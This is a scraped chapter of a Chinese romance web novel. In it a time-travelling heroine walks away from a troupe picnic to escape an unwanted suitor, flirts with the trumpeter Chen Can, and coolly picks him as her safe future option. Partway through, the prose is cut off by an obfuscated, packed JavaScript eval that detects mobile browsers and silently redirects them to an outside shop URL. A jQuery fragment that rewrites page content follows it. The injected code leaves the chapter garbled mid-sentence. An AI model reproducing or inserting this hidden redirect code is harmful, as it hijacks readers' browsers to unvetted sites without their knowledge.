默认冷灰
24号文字
方正启体

10. 野炊

作者:听暖a本书字数:K更新时间:
    入了秋,天一日比一日清爽。


    风不再闷湿,吹在脸上凉丝丝的,连带着文工团里的气氛,也松快了不少。


    这段时间团里活动不多,之前排的舞蹈早已练得熟透,走位、节拍、托举、配合,全都烂熟于心。


    训练强度一降,结束的时间便早得离谱,有时下午三四点钟,全队就已经解散,剩下大段大段的空闲时间。


    姑娘小伙们精力没处使,闲下来便凑在一起琢磨着去哪儿玩。


    这天刚下训,郝淑雯就把几个人拦在训练厅门口:“这天多好,不出去可惜了,咱们找个地方野炊去,带点馒头、咸菜、煮鸡蛋,再弄点热水,坐着聊聊天,总比在宿舍待着强。”


    这话一出,立刻引来一片附和。


    小芭蕾和卓玛眼睛一亮,连连点头。


    萧穗子抱着本子,也轻轻笑:“我觉得可以。”


    林丁丁也跟着应和,脸上挂着得体的笑,目光却不自觉往男生那边飘。


    杭春明一听有活动,当场就应了下来,转头就去找兆悦。


    “悦儿姐,我们一起去野炊吧,就在营区后面那片空地,不远。”他语气自然,一口一个悦儿姐,熟稔又顺口,旁人听着早已习惯。


    兆悦本来没什么兴趣,一群人闹哄哄的,野炊,听着就脏兮兮的,她向来不喜。


    可杭春明就站在她身边,眼神明亮,带着几分理所当然的笃定——他知道,只要是他开口,她一般不会拒绝。


    沉默片刻,兆悦轻轻点了下头。“嗯。”


    简简单单一个字,让旁边几个姑娘都悄悄对视一眼。


    换做以前,谁能邀得动她。


    可现在,因为杭春明,她也慢慢融进了这堆热闹里。


    大家对兆悦的态度,早已悄悄变了。


    最初那点若有若无的敌意、试探、打量、疏远,在一次次训练、一次次照面、一句玩笑话之后,淡了不少。


    没人再觉得她高不可攀、难以接近,只当她是性子淡、话不多,却并非不好相处。


    人心一旦软下来,气氛就顺了。


    出发前,姑娘们在宿舍简单收拾。


    兆悦依旧是安安静静的,不抢不挤,拿了块干净手帕,随手揣在兜里。


    镜子前,萧穗子悄悄理了理头发,眼神时不时往窗外飘,一副心不在焉的样子。


    兆悦看在眼里,没点破。


    这份在意,藏得太深、太含蓄,像落在纸上的淡墨,不仔细瞧,根本看不出来。


    不敢靠近,不敢直视,不敢多说一句话,只敢远远看着。


    兆悦心里轻轻叹了口气。


    这样的喜欢,太轻、太静、太小心翼翼。


    就算对方真的察觉了,也只会觉得没劲,不够痛快,不够明朗,经不起一点拉扯。


    有些事,不点破,就永远只是心事。


    一行人热热闹闹往营区后那片开阔地走。


    男生拎着军用水壶、装着干粮的布包,女生三三两两走在一块儿,说笑打闹,阳光洒在身上,暖洋洋的。


    杭春明一直走在兆悦身侧,步子不快不慢,刚好陪着她。


    兆悦偶尔应他一两句,语气清淡,却不疏离。


    远处,陈灿和几个男队员走在一起,手里把玩着一片树叶,漫不经心。


    萧穗子的目光,总是不经意地飘过去,又飞快收回,假装看天看地,脸颊微微发烫。


    刚找好地方铺好布,坐下来准备分东西,不远处又来了一群人,是美术组的几个学员,。


    背着画板,提着颜料盒,说是出来写生,听说这边有人野炊,便凑过来一起热闹。


    兆悦刚坐下的动作,微微一顿。


    人群里,她一眼就看见了宋子轩。


    白衬衫,干净的裤子,头发整齐,眉眼依旧清秀,站在一群人里,依旧显眼。


    他也一眼就看见了兆悦,目光瞬间定在她身上,亮了一下,又沉了下去。


    招待所那几天的相处,点到为止的靠近,说不清道不明的暧昧,在两人之间横亘着。


    还没正式开始,就已经被兆悦干脆利落地划清了界限。


    可宋子轩显然没放下。


    对他而言,兆悦是突然出现、又突然抽离的人,漂亮、清冷、有距离感,越得不到,越念念不忘,甚至带着几分不甘的怨——你既然给了念想,怎么能说断就断。


    他放下画板,就朝这边走过来。


    脸上带着温和的笑,像对待一个许久未见的熟人。


    “没想到你们也在这儿。”


    宋子轩站在兆悦面前,目光落在她脸上,带着显而易见的在意。


    兆悦抬了抬眼,只淡淡应了一声,没多余表情,也没多余话。


    身体下意识往旁边微微让了一点,拉开距离。


    动作不大,却明明白白。


    杭春明察觉到气氛不对,不动声色往兆悦身边靠了靠,挡了一点视线,抬头看向宋子轩,笑得客气,却带着几分护着的意思:“你们也出来玩啊?”


    “嗯,天气好,出来画画。”宋子轩目光没离开兆悦,“正好,一起热闹。”


    他刻意坐在离兆悦不远的地方,时不时找话搭边。


    “你最近在舞蹈队还习惯吗?”


    “训练累不累?”


    “之前在招待所,还没谢谢你那时候帮忙。”


    一句接一句,有意无意地靠近,试图重新拉近距离。


    兆悦心里渐渐泛起一丝反感。


    她向来干脆,说拉倒就拉倒,说疏远就疏远。


    两人本就没有真正在一起过,不过是短暂的相遇,一点浅淡的好感,点到为止,各自体面,难道不好吗?


    偏偏要这样拖泥带水,纠缠不清,一遍一遍往回扯,半点不体面。


    她没回应,脸色一点点冷下来。


    原本还算轻松的心情,瞬间沉了下去。


    郝淑雯、萧穗子她们都察觉到不对劲,对视一眼,没敢多说话,只假装忙着分干粮、倒水,把气氛撑起来。


    林丁丁坐在一旁,眼神转了转,嘴角勾起一点不易察觉的弧度,自然而然的和宋子轩搭起话来。


    兆悦再也坐不住。


    她不想在这儿应付这种没意义的靠近,也不想因为这种事,被人当成目光的焦点。


    她站起身,转身就往远处更空旷的地方走。


    远离这群闹哄哄的人,远离那些目光,远离宋子轩带来的烦躁。


    背影挺直,没有回头。


    杭春明愣了一下,刚想追上去,却被身边的小芭蕾拉住问了句什么,一时没跟上。


    远处的野炊营地,笑声、说话声、打闹声越来越远。


    有人在分吃的,有人在说笑,有人干脆躺在草地上打滚,阳光满地,热闹非凡。


    兆悦一个人往前走,走到一片安静的草地上停下,望着远处的树林,一言不发。


    空气里只有秋风掠过草叶的声音。


    没过多久,她身后传来轻轻的脚步声。


    不紧不慢,不远不近。


    兆悦不用回头,也知道是谁。


    她没有动,依旧站在原地。


    直到脚步声停在不远处,她才缓缓侧过头,看了一眼。


    陈灿站在那儿,双手插在兜里,姿态闲散,却安安静静。


    兆悦收回目光,没说话,表情比上次傍晚散步时冷了很多,周身都透着一股“别来烦我”的疏离。


    陈灿微微皱了下眉。


    刚才在那边,他看得一清二楚。


    那个美术组的男生一直缠着她,她明显不高兴,才一个人走掉。


    他原本只是习惯性跟着,想看她安安静静的样子。


    可此刻她身上那层冷意,比平时重得多,像一层薄薄的冰,覆在眼底。


    他站在原地几秒。


    这是第一次,他没打算再沉默。


    秋风轻轻吹过,草叶微微晃动。


    远处的喧闹模糊成一片背景音。


    天地之间,好像就剩下他们两个人。


    陈灿往前轻轻走了半步,声音不高,低沉干净,带着一点试探,又带着一点不容忽略的认真。


    他开口,问出了两人之间第一句真正的搭讪。“谁惹你了,脸这么冷?”


    兆悦眼睫一动。


    她缓缓转回头,目光落在他脸上,没有半分温度,语气淡得像冰。


    “你是哪位?”


    四个字,轻飘飘砸过来。


    陈灿一下子僵在原地。


    整个文工团,天天一起训练,分队长点名、排队、合乐,谁不知道谁叫什么。


    她不可能不知道他是谁。


    分明是故意的。


    他脸上那点漫不经心的轻松,瞬间裂了个口子,难得露出几分无措。


    活了这么大,他向来是人群里最亮眼的那一个,性子开朗,对谁都热络,从来没被人这么直白地晾在这儿。


    他下意识抬起手,挠了挠后脑勺,耳尖微微有点发烫。


    这个年代,这个年纪,可没什么情场老手,更没有勾搭过多少姑娘。


    他性子阳光,爱说爱笑,对谁都客气热情,骨子里还是这个年代最常见的那种纯粹。


    被这么一句“你是哪位”堵回来,他那点玩世不恭,当场就破了功。


    兆悦看着他这副模样,先是一怔,随即没忍住。


    嘴角几不可查地往上弯了一下。


    她忽然意识到,自己不能拿从前的眼光来看眼前这些人。


    就算他是高干子弟,就算他阳光爱笑、招人喜欢,就算他看起来有点不着调,可本质上,还是干净直白的。


    她本想冷着脸怼回去,反倒把人逗得手足无措,把她心里那个玩世不恭的形象,一下戳成了纯情大男孩。


    这么一想,她心里那点因为宋子轩带来的闷气,反倒散了大半。


    陈灿见她忽然笑了,眼神都顿了顿。


    他很少见她这样。


    不是冷淡,不是疏离,就是很轻、很淡的一点笑意,像冰面裂开一道细缝,漏出底下一点暖。


    他心跳莫名漏了一拍,喉咙微微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309092|198747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发紧。


    他赶紧收起那点窘迫,重新端端正正站好,一本正经地开口,像在做自我介绍:“我叫陈灿,吹小号的,今年十八,属马。”


    兆悦没应声,只垂了垂眼,笑意还停在嘴角,更大了。


    似乎她的心情因为自己变好了。


    接收到这个消息,陈灿收起了方才那点窘迫无措,眼底恢复了平日的清亮与机敏,保持着恰到好处的距离,跟着她的步调。


    他看得明白,眼前的姑娘从不吃顺从讨好那一套,怎样才能让她愿意接招呢?


    她往前走,他便跟着往前走。


    她慢,他也慢。


    她不说话,他也不开口,秋风拂过草尖,带着淡淡的凉意。


    兆悦目视前方,声音平平淡淡,却带着不容置疑的主导:“跟着我干什么?”


    陈灿唇角极轻地一扬,等到了!


    他语气干净清朗,带着点少年人独有的机灵试探,一句话轻轻抛回去:“上次跟着你,你连问都没问,怎么这次反倒开口了?”


    兆悦眼睫轻轻一动,侧眸扫了他一眼。


    心里一眼就看穿了他的小圈套,却不恼,也不拆穿。她脚步微微一顿,抬眼瞥他一下,语气轻脆,带点小小的耍赖劲儿:“……那我不问了。”说完,她微微别过脸,继续往前走,步子都轻了几分,摆明了是故意逗他。


    南方姑娘骨子里就有这种能力。


    陈灿当场就被这一下弄得心口发紧,又痒又麻,整个人都轻快了起来。


    他哪里受过这种,明明是被“冷落”,却比听一百句好话都上头。


    他快步跟上半步,声音里藏不住笑意,却还绷着少年人的体面,不敢太露骨:“别啊。”


    兆悦不看他,只往前走,语气淡淡的:“别什么。”


    “别不说话。”陈灿老老实实接,却又忍不住轻轻拽回一局,“你一不理人,我都不知道该怎么走了。”


    兆悦嘴角弯得更明显了一点,依旧不看他,声音轻淡,却带着点得胜似的小得意:“那你可以回去,没人拦着你。”


    “我不回。”陈灿答得飞快,语气坚定,


    “他们那边闹,我这儿……安静。”


    兆悦终于侧过头,看了他一眼。


    没再赶他,也没再说话。


    就这么默认了,他可以继续跟着。


    兆悦忽然抬眼望了望前面不远处的小坡,没再多说,脚下轻轻一提,往前小跑了几步。


    步子轻快,不像刻意,更像一时兴起,被风与开阔勾着走。


    陈灿下意识跟上,不远不近,看着她的背影。


    她几步跑上小坡,站定。


    风一下子涌过来,掀动她的额发与衣角,视野豁然开阔——远处的林野、田埂、淡蓝的天,全都铺在眼前,清清爽爽,连呼吸都松快了。


    刚才宋子轩缠上来的那点闷堵,被这秋风一吹,散得干干净净。


    她微微仰头,闭了闭眼,就站在风里,安安静静地感受。


    陈灿停在她身侧半步远的地方,没靠近,没说话,就这么看着。


    阳光落在她脸上,风绕着她走,那一刻,他忽然觉得整个世界都静了。


    兆悦慢慢睁开眼,望向远方。


    心里忽然翻涌起一阵复杂的滋味。


    她比谁都清楚,这个时代往后会怎么走,身边这些人,最后都会落进什么样的命数里。


    所有人里,日子过得最稳、最体面、最能扛住风浪的,就是眼前这个少年。


    可他和郝淑雯后来的婚姻,没有多少亲昵,更像利益与身份的搭伙,客气、体面,却不靠近。


    她看着身边这个还带着少年气的陈灿,眼神不由沉了沉,多了几分连自己都没压住的幽深。


    陈灿侧过头,恰好撞上她的目光。


    心里轻轻一跳。


    明明年纪一般大,她甚至还要小一点,可那双眼睛里的东西,太沉、太杂,有平静,有远虑,有一丝他完全读不懂的沉静。


    看不透,摸不清,像一层雾。


    越是看不懂,他越觉得她神秘。


    越是神秘,越忍不住多看一眼。


    越是多看,心里那点好奇,就越容易往别的地方走。


    兆悦在心里轻轻吸了口气。


    一瞬间,她拿定了主意。


    这个人,头脑灵、眼光准、家世稳、后来又懂审时度势,是能在风浪里站稳的人。


    她在这个时代无根无靠,总要给自己留一条稳妥的退路。


    而陈灿,就是她悄悄选定的那条退路。


    不是一时心动,是清醒盘算。


    可这份清醒里,又偏偏掺了一点刚才风里的暧昧。


    她没再看他,也没再说话,只是轻轻低下头,嘴唇微动,哼起一段轻轻软软的调子。


    是邓丽君的歌,没有歌词,只有轻缓的旋律,被风裹着,散在空气里。


    声音不高,清清淡淡,只有站在身边的人能听见。


    陈灿一下子就安静了。


    风在吹,歌在飘,她在眼前。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)